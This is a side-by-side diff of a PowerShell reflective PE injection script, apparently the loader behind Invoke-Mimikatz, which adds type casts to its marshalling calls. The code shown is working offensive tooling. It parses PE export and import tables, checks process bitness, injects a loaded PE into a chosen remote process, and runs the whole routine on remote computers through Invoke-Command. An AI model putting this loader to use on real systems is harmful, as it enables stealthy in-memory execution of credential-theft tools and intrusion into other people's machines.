[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
@ -2079,8 +2061,8 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [IntPtr]) $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [IntPtr]) $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
@ -2248,23 +2230,23 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
return [IntPtr]::Zero return [IntPtr]::Zero
} }
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, $Win32Types.IMAGE_EXPORT_DIRECTORY) $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{ {
#AddressOfNames is an array of pointers to strings of the names of the functions exported #AddressOfNames is an array of pointers to strings of the names of the functions exported
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [UInt32])) $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName) if ($Name -ceq $FunctionName)
{ {
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
# which contains the offset of the function in to the DLL # which contains the offset of the function in to the DLL
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt16]))) $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [UInt16]) $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [UInt32]) $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
} }
} }
@ -2289,7 +2271,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
$RemoteProcHandle $RemoteProcHandle
) )
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
#Get Win32 constants and functions #Get Win32 constants and functions
$Win32Constants = Get-Win32Constants $Win32Constants = Get-Win32Constants
@ -2332,14 +2314,14 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
Throw "Call to IsWow64Process failed" Throw "Call to IsWow64Process failed"
} }
if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -eq 4))) if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
{ {
$Process64Bit = $false $Process64Bit = $false
} }
#PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
$PowerShell64Bit = $true $PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{ {
$PowerShell64Bit = $false $PowerShell64Bit = $false
} }
@ -2350,7 +2332,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
} }
else else
{ {
if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{ {
$Process64Bit = $false $Process64Bit = $false
} }
@ -2590,7 +2572,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
while ($true) while ($true)
{ {
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array #If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 ` if ($ImportDescriptor.Characteristics -eq 0 `
@ -2617,7 +2599,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
} }
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
} }
} }
@ -2672,11 +2654,11 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# { # {
# Write-Verbose "Getting SeDebugPrivilege" # Write-Verbose "Getting SeDebugPrivilege"
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# } # }
if (($ProcId -ne $null) -and ($ProcId -ne 0)) if (($ProcId -ne $null) -and ($ProcId -ne 0))
{ {
@ -2798,11 +2780,11 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
} }
Main Main
} }
#Main function to either run the script locally or remotely #Main function to either run the script locally or remotely
Function Main Function Main
{ {
if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
{ {
$DebugPreference = "Continue" $DebugPreference = "Continue"
@ -2855,7 +2837,7 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
{ {
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName
} }
} }
Main Main
} }